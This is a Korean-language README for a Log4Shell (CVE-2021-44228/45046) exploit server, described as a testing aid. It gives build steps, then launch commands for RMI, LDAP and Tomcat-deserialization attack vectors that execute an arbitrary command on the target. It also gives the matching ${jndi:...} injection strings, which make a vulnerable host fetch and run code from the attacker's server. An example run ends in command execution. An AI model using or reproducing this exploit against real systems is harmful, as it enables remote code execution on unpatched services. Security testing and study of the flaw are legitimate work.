Log4j-JNDIServer

이 프로젝트는 Log4j CVE-2021-44228/CVE-2021-45046 취약점을 테스트하는 데 도움을 줍니다.

설치 및 빌드

• Intellij Idea에서 프로젝트를 로드합니다.
• "Project Settings" (CTRL + ALT + SHIFT + S)에서 JDK를 선택합니다.
• "Project Settings"에서 Artifact 생성 -> "Artifacts" -> "Create JAR from Modules" -> "JAR files from libraries"에서 "extract to target JAR" 선택 -> "OK"
• 프로젝트 빌드 (CTRL + F9). 이렇게 하면 /out/artifacts/ 폴더에 jar 파일이 생성됩니다.

Maven으로 빌드

Java 1.8+ 및 Maven 3.x+ 필요

• mvn clean package -DskipTests
• /target 폴더에서 .jar 파일을 찾을 수 있습니다.

사용법

1. RMI 공격 벡터

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 1 <RMI_IP> <RMI_PORT> <HTTP_PORT> <COMMAND>

더 이상 Exploit.class를 호스팅할 필요가 없습니다. 앱은 지정된 포트에서 HTTP 서버를 시작합니다.

대상에서 실행하려는 명령을 지정해야 합니다.

주입: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

2. LDAP 공격 벡터

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 2 <LDAP_IP> <LDAP_PORT> <HTTP_PORT> <COMMAND>

더 이상 Exploit.class를 호스팅할 필요가 없습니다. 앱은 지정된 포트에서 HTTP 서버를 시작합니다.

대상에서 실행하려는 명령을 지정해야 합니다.

주입: {jndi:ldap://<LDAP_IP>:<LDAP_PORT>/Exploit}

3. 역직렬화 공격 벡터 (Tomcat 페이로드 사용)

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 <RMI_IP> <RMI_PORT> <COMMAND>

주입: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

예제

$ java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 127.0.0.1 1389 /usr/bin/gnome-calculator
- Starting RMI Server for Tomcat  -
- Creating RMI Server on port 1389 -
- Reference bound! -
- RMI server started at 127.0.0.1:1389 -
- Log4J Injection Path: ${jndi:rmi://127.0.0.1:1389/Foo} -